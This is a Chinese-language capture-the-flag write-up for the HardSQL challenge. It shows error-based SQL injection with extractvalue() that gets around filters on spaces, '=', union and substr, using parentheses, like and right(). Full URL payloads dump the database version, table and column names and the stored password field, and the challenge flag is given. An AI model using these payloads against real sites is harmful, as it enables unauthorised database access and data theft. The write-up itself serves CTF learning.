[極客大挑戰 2019]HardSQL

cl4y師傅出的又一道sqliphp

首先咱們進行fuzz,跑完以後顯示出被過濾的非法字符:sql

 

  過濾了union,空格,=等字符,咱們先輸入一個'進行測試,發現回顯報錯,因而咱們嘗試進行報錯注入:數據庫

payload:?username=admin%27or(extractvalue(1,concat(%270x7e%27,version())))%23&password=123

  嘗試在username處進行注入;由於空格被過濾了,咱們在這裏使用括號進行繞過;爆出來當前數據庫的版本:函數

  咱們已經能夠肯定了注入方式和注入點,接下來就是一波老操做,在這裏直接給出payload和回顯圖片("="被ban了因此咱們使用like進行代替)測試

payload:?username=admin%27or(extractvalue(1,concat(%270x7e%27,(select(table_name)from(information_schema.tables)where(table_schema)like(database())))))%23&password=123   //XPATH syntax error: 'x7eH4rDsq1',爆出表的名稱爲H4rDsq1

 

payload:?username=admin'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))%23  //XPATH syntax error: '~id,username,password',爆出當前表中的三個字段

 

  敏感信息應該是存在於password字段中,因而咱們嘗試讀取password的內容:spa

payload:?username=admin'or(extractvalue(1,concat('0x7e',(select(group_concat(password))from(H4rDsq1)))))%23&password=123

 

  咱們已經成功爆出了flag,可是由於回顯的字符串長度不夠沒法徹底讀取flag的值,並且substr被禁用了,因而咱們使用right()函數進行讀取3d

  right(str,length)函數返回str的後length個字符,code

payload:?username=admin'or(extractvalue(1,concat('0x7e',(select(group_concat(right(password,20)))from(H4rDsq1)))))%23&password=123

 

拼接後的flag:
flag{c4be14ce-1e03-4e19-8152-c2d222064351}


orm

相關文章
相關標籤/搜索